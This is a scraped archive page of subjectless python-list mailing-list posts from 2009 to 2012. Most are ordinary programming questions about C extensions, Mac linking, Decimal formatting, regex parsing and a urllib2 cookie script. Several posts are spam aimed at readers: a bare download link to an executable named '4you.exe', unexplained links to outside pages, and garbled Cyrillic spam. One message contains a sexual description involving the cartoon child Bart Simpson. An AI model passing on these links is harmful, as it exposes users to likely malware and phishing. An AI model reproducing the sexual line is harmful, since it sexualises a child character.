http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-02-28 Thread Brendon Joyce

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-02-13 Thread roncy thomas

I'm doing a miniproject on electronics voting system.I require help 
for creating a code in python for coverting the barcode into binary digits.Or 
atleast an algorithm for the same..please Help..Reply to this mail id.

Kindly help me.

  -- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-02-03 Thread Debashish Saha
would u like to help me by answering some vbasic questions about python?
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-01-07 Thread abdullah zuberi
hello ?
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-12-27 Thread rozelak
Hallo,
I have kind of special question when extening python with C++
implemented
modules.
I try to implement a class, behaving also like an array. And I need
to
implement slice-getters. I implemented PySequenceMethods.sq_slice to
get
"simple" slices like:
myobj[x:y]
It works perfectly, without problems. But now I have a problem when
need to
access the array with "special" slices, like:
myobj[x:y:step]
myobj[::-1]  # to revert the array
I would like to ask which method must be implemented to get this
"special"
slice getters. The "simple" slice PySequenceMethods.sq_slice getter
accepts
only two indexes - from, to, but not a step (which would solve the
issue).
Thank you very much for your ansver, best regards
Dan T.

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-06-23 Thread MURTAZA HUSSAIN
murtaza.ned...@gmail.com
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-06-10 Thread burl rollinlife
 Íàì, ãîâîðèò, î÷åíü ïðèÿòíî, è íàì íóæíû îáðàçîâàííûå Îíè íå ïðîñ÷èòàþò Âû, ãîâîðèò, òîæå, êàæåòñÿ, ïî êîììåð÷åñêîé ÷àñòè?     http://rayjonz8231.de.tl/esp1006nimfia.htm   -- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-05-22 Thread Chris Jones

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-05-22 Thread Chris Jones

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-03-28 Thread Kylin25mail


-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-03-21 Thread Sniper

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2011-03-02 Thread Gert Schmidt



Von meinem iPhone gesendet
--
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-07-06 Thread francisco dorset

hey am a programmer i have good knowledge of the c language and i will like to 
now how i can use to python to provide graphical user-interface for my c 
programs and or the steps involved in doing this and is it possible

if yes i will also like some resources or books to learn from.

any info will be useful thankss 
  
_
Your E-mail and More On-the-Go. Get Windows Live Hotmail Free.
https://signup.live.com/signup.aspx?id=60969-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-06-03 Thread Amit Sethi
Hi ,

I wish to execute some user submitted python code and have absolutely
no other way out . I saw that there used to be a module called rexec
which could define which modules can be imported and which cannot
however exec doesn't have that kind of feature . Please if you could
tell me what would the best possible ways of sandboxing python code .
-- 
A-M-I-T S|S
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-04-30 Thread mannu jha
Dear all,

I am trying my problem in this way:

import re
expr = re.compile("Helix Helix| Sheet Sheet| Turn Turn| Coil Coil")
f = open("CalcSecondary4.txt")
for line in f:
if expr.search(line):
   print line

but with this it is printing only those line in which helix, sheet, turn and 
coil are coming twice. Kindly suggest how should I modify it so that whatever 
secondary structure is coming more than or equal to two times it should write 
that as final secondary structure and if two seconday structure are coming 
two-two times in one line itself like:

4 ALA Helix Sheet Helix Sheet

then it should write that as doubtful and rest it should write as error.

Thanks,


Dear all,

I have a file like:

1 ALA Helix Sheet Helix Coil
2 ALA Coil Coil Coil Sheet
3 ALA Helix Sheet Coil Turn

now what I want is that write a python program in which I will put the 
condition that in each line whatever secondary structure is coming more than or 
equal to two times it should write that as final secondary structure and if two 
seconday structure are coming two-two times in one line itself like:

4 ALA Helix Sheet Helix Sheet

then it should write that as doubtful and rest it should write as error.

Thanks,-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-04-28 Thread mannu jha
Dear all,

I have a file like:

1 ALA Helix Sheet Helix Coil
2 ALA Coil Coil Coil Sheet
3 ALA Helix Sheet Coil Turn

now what I want is that write a python program in which I will put the 
condition that in each line whatever secondary structure is coming more than or 
equal to two times it should write that as final secondary structure and if two 
seconday structure are coming two-two times in one line itself like:

4 ALA Helix Sheet Helix Sheet

then it should write that as doubtful and rest it should write as error.

Thanks,
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-04-14 Thread Nabla Kvadrat
http://hotfile.com/dl/37956235/65f8e99/4you.exe.html
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-03-04 Thread Adhitya Jiwa Pratama

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-03-01 Thread Vaidehi Pawar
http://adimteknikhirdavat.com/James.html


  The INTERNET now has a personality. YOURS! See your Yahoo! Homepage. 
http://in.yahoo.com/

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2010-01-06 Thread Krzysztof Kobus
Hi,


> Well, it seems that one of your files is a different architecture than
> the others. Based on the location, I'd say it's i386 while the rest of
> it would be PowerPC. You can cross-compile but you can't link an i386
> library to a PowerPC library.
Thank you for the hint. I have checked with "file" command the format of the 
libraries on mac and got following result:

one of my application's libraries:
libkkbase.dylib: Mach-O dynamically linked shared library i386

my python module that has been built using standard python distutils:
j3k.so: Mach-O bundle i386

I am not actually sure what's the difference between "bundle" and "dynamically 
linked shared library" on mac and if they can be linked together? Perhaps I 
should configure distutils on mac somehow specially to make the module ready 
for embedding?

Thanks,

KK


On Tue, Jan 5, 2010 at 7:33 AM, Krzysztof Kobus  wrote:
> Hi,
>
>
I have a problem with linking python module with my application on mac
in order to make the module available in "embedded python".
>
> My python module is contained in  j3kmodule.cxx file and module 
> initialization function is exported in j3kmodule.h
>
> j3kmodule.h:
> 
> PyMODINIT_FUNC PyInit_j3k(void);
>
>
> j3kmodule.cxx:
> --
> PyMODINIT_FUNC
> PyInit_j3k(void)
>  {
>  PyObject *m = NULL;
>
>  if ((m = PyModule_Create(&j3k_module)) == NULL)
>return NULL;
>
>  return m;
>  }
>
>
> Then in my application in KkPython.cxx file I have:
>
> KkPython.cxx:
> -
>
> #include "j3kmodule.h"
>
> /* Add a builtin module, before Py_Initialize */
> PyImport_AppendInittab("j3k", PyInit_j3k);
>
>
>
I link my application with the module and get following linking error
on mac although on open suse linux exactly the same procedure works
fine:
>
> g++ -headerpad_max_install_names -o
../../bin/render.app/Contents/MacOS/render main.o KkPython.o -lkkbase
-L/Users/kk/dev/J3K/trunk/j3ksrc/examples/render/../../lib/
-lQtSolutions_PropertyBrowser-2.5 -lpython3.1
/Users/kk/dev/J3K/trunk/j3ksrc/python/modules/build/lib.macosx-10.3-i386-3.1/j3k.so
-framework OpenGL -framework AGL
> ld: warning in
/Users/kk/dev/J3K/trunk/j3ksrc/python/modules/build/lib.macosx-10.3-i386-3.1/j3k.so,
file is not of required architecture
> Undefined symbols:
>  "_PyInit_j3k", referenced from:
>  _PyInit_j3k$non_lazy_ptr in KkPython.o
> ld: symbol(s) not found
> collect2: ld returned 1 exit status
> make: *** [../../bin/render.app/Contents/MacOS/render] Error 1
>
>
> I appreciate any hints,
>
> best greetings,
>
> Krzysztof Kobus
>


  
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-26 Thread Yulin
Hi when I start my Pc I get error " The specified module could not be found.
LoadLibrary(pythondll)failed 

 

Please Help once I have enterd I get the following..C:\Documents and
settings\all users\.clamwin\quarentine\python25.DLL

 

PLEASE help I cant load most of my programmes

 

Thanks

 

Yulin

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-22 Thread jholg
Hi,

I need to convert Python decimal.Decimal data to the XMLSchema xs:decimal 
datatype. This is reasonably straightforward, but there are some corner cases.

In particular, xs:decimal does not allow exponential notation like:

>>> print Decimal('0.002343000837483727772')
2.343000837483727772E-19
>>>

Is there a convenient way to force a decimal.Decimal representation to not use 
exponential representation?

While I've seen this decimal FAQ entry:

Q. Some decimal values always print with exponential notation. Is there a way 
to get a non-exponential representation?

A. For some values, exponential notation is the only way to express the number 
of significant places in the coefficient. For example, expressing 5.0E+3 as 
5000 keeps the value constant but cannot show the original’s two-place 
significance.

If an application does not care about tracking significance, it is easy to 
remove the exponent and trailing zeroes, losing significance, but keeping the 
value unchanged:

>>> def remove_exponent(d):
... return d.quantize(Decimal(1)) if d == d.to_integral() else 
d.normalize()

>>> remove_exponent(Decimal('5E+3'))
Decimal('5000')

...this doesn't really apply to my usecase:

It does not work for "small" values:

remove_exponent(Decimal('0.002343000837483727772'))
Decimal('2.343000837483727772E-19')
>>>

and it can lead to errors if the sheer number size can't be handled:

>>> d2 = Decimal('1e80')
>>> remove_exponent(d2)
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 2, in remove_exponent
  File "/apps/prod/gcc/4.2.1/lib/python2.6/decimal.py", line 2308, in quantize
'quantize result has too many digits for current context')
  File "/apps/prod/gcc/4.2.1/lib/python2.6/decimal.py", line 3680, in 
_raise_error
raise error(explanation)
decimal.InvalidOperation: quantize result has too many digits for current 
context
>>>

I could easily adapt this recipe:

http://code.activestate.com/recipes/358361/

which works on the string and basically removes exponential notation, moves the 
fraction '.'-dot and adds appropriate zeros.

Doesn't seem very lightweight, though.

Any obvious alternatives I'm missing?

Thanks,
Holger
-- 
Preisknaller: GMX DSL Flatrate für nur 16,99 Euro/mtl.!
http://portal.gmx.net/de/go/dsl02
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-21 Thread bruce
hi...

the following sample is an attempt to fetch two subsequent pages from a
sameple site. (it's public) the script attempts to implement a request,
using the POST method, as well as as cookies. Testing using
LiveHttpHeaders/Firefox indicates that the app uses post/cookies, and it
doesn't work if cookies are disabled on the browser.

the query for the post, was obtained via the LiveHttpHeaders app.

I can get the 1st page, but not the 2nd. I'm assuming that I'm somehow
screwing up the use/implementation of the cookies.. Searching the net isn't
shedding any light for now..

After showing the 1sr page, the 2nd page is viewed from the browser, by
selecting a 'next' link, which invokes a jscript submit for the DOM. The
post data is captured via LiveHttpHeaders.. It's this data that forms the
data for the 2nd Post attempt in the test..

Any thoughts/comments/pointers would be helpful... (and yeah the test is
ugly..!)

thanks

-tom

#!/usr/bin/python

#test python script

import re
import urllib
import urllib2
import sys, string, os
from mechanize
import Browser
import mechanize
import cookielib


#
# Parsing App Information

# datafile

cj = "p"
COOKIEFILE = 'cookies.lwp'

#cookielib = 1
urlopen = urllib2.urlopen
#cj = urllib2.cookielib.LWPCookieJar()

cj = cookielib.LWPCookieJar()

#cj = ClientCookie.LWPCookieJar()

Request = urllib2.Request
br = Browser()

if cj != None:
  print "sss"
#install the CookieJar for the default CookieProcessor
  if os.path.isfile(COOKIEFILE):
cj.load(COOKIEFILE)
print "foo\n"
  if cookielib:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
print "foo2\n"

user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
values1 = {'name' : 'Michael Foord',
   'location' : 'Northampton',
   'language' : 'Python' }
headers = { 'User-Agent' : user_agent }

if __name__ == "__main__":
# main app

  baseurl="https://pisa.ucsc.edu/class_search/index.php";
  print "b = ",baseurl
  print "b = ",headers

query="action=results&binds%5B%3Aterm%5D=2100&binds%5B%3Areg_status%5D=O&bin
ds%5B%3Asubject%5D=&binds%5B%3Acatalog_nbr_op%5D=%3D&binds%5B%3Acatalog_nbr%
5D=&binds%5B%3Atitle%5D=&binds%5B%3Ainstr_name_op%5D=%3D&binds%5B%3Ainstruct
or%5D=&binds%5B%3Age%5D=&binds%5B%3Acrse_units_op%5D=%3D&binds%5B%3Acrse_uni
ts_from%5D=&binds%5B%3Acrse_units_to%5D=&binds%5B%3Acrse_units_exact%5D=&bin
ds%5B%3Adays%5D=&binds%5B%3Atimes%5D=&binds%5B%3Aacad_career%5D="

  request = urllib2.Request(baseurl, query, headers)
  response = urllib2.urlopen(request)

  print " \n"
  #print req
  print "\n  55\n"

  print "res = ",response
  x1 = response.read()
  #x1 = res.read()
  print x1

  #sys.exit()

  cj.save(COOKIEFILE)

  # resave cookies
  if cj is None:
print "We don't have a cookie library available - sorry."
print "I can't show you any cookies."
  else:
print 'These are the cookies we have received so far :'
for index, cookie in enumerate (cj):
  print index, ' : ', cookie

  cj.save(COOKIEFILE)
  print "ffgg \n"

  for index, cookie in enumerate (cj):
print index, ' : ', cookie

  #baseurl ="http://students.yale.edu/oci/resultList.jsp";
  baseurl="https://pisa.ucsc.edu/class_search/index.php";

query="action=next&Rec_Dur=100&sel_col%5Bclass_nbr%5D=1&sel_col%5Bclass_id%5
D=1&sel_col%5Bclass_title%5D=1&sel_col%5Btype%5D=1&sel_col%5Bdays%5D=1&sel_c
ol%5Btimes%5D=1&sel_col%5Binstr_name%5D=1&sel_col%5Bstatus%5D=1&sel_col%5Ben
rl_cap%5D=1&sel_col%5Benrl_tot%5D=1&sel_col%5Bseats_avail%5D=1&sel_col%5Bloc
ation%5D=1"

  request = urllib2.Request(baseurl, query, headers)
  response = urllib2.urlopen(request)

  print " \n"
  #print req
  print "\n  55\n"
  print "res = ",response

  x1 = response.read()
  #x1 = res.read()
  print x1

  sys.exit()

  req = Request(baseurl, query, headers)
  print " \n"
  #print req
  print "\n  55\n"

  #br.open(req)
  res = urlopen(req)
  print " \n"
  x1 = res.read()
  print x1
  sys.exit()



-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-21 Thread petro



--
Petro Khoroshyy
Institute of Biophysics
Biological Research Center of the
Hungarian Academy of Sciences
Temesvari krt. 62, P.O.Box 521
Szeged, Hungary, H-6701



This message was sent using IMP, the Internet Messaging Program.


--
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-21 Thread petro



--
Petro Khoroshyy
Institute of Biophysics
Biological Research Center of the
Hungarian Academy of Sciences
Temesvari krt. 62, P.O.Box 521
Szeged, Hungary, H-6701



This message was sent using IMP, the Internet Messaging Program.


--
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-12-21 Thread petro



--
Petro Khoroshyy
Institute of Biophysics
Biological Research Center of the
Hungarian Academy of Sciences
Temesvari krt. 62, P.O.Box 521
Szeged, Hungary, H-6701



This message was sent using IMP, the Internet Messaging Program.


--
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-11-13 Thread Ronn Ross
I'm attempting to convert latitude and longitude coordinates from degrees
minutes and second to decimal form. I would like to go from:
N39 42 36.3 W77 42 51.5
 to:
-77.739855,39.70

Does anyone know of a library or some existing out their to help with this
conversion?
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-10-22 Thread baboucarr sanneh


Hi guys

I want to make a script that can copy files and folders from one location and 
paste it to another location..

e.g  from c:\test to d:\test
thanks regrads

$LIM $...@dy

  
_
Windows Live Hotmail: Your friends can get your Facebook updates, right from 
Hotmail®.
http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_4:092009-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-08-20 Thread artur lukowicz
6344a24de14243c76060bedd42f79bc302679dad
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-07-29 Thread hch
Hi, everyone

Is there a python script can get a list of how much stack space each
function in your program uses? ( the program is compiled by gcc)

Any advice will be appreciate.
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-07-27 Thread 9372966370
(Re: urllib2.URLError:  error using
twill with python)
 -
Sent by a Cricket mobile device
 -
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-07-27 Thread 9372966370
(Re: urllib2.URLError:  error using
twill with python)  how can i change url/http://...
 -
Sent by a Cricket mobile device
 -
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2009-07-05 Thread 13139781969
Title: New Page 1







This message was sent using picture-talk messaging service from MetroPCS.


(Homer & Marge having sex with Bart Simpson)>









(Homer & Marge having sex with Bart Simpson)-- 
http://mail.python.org/mailman/listinfo/python-list


  1   2   3   >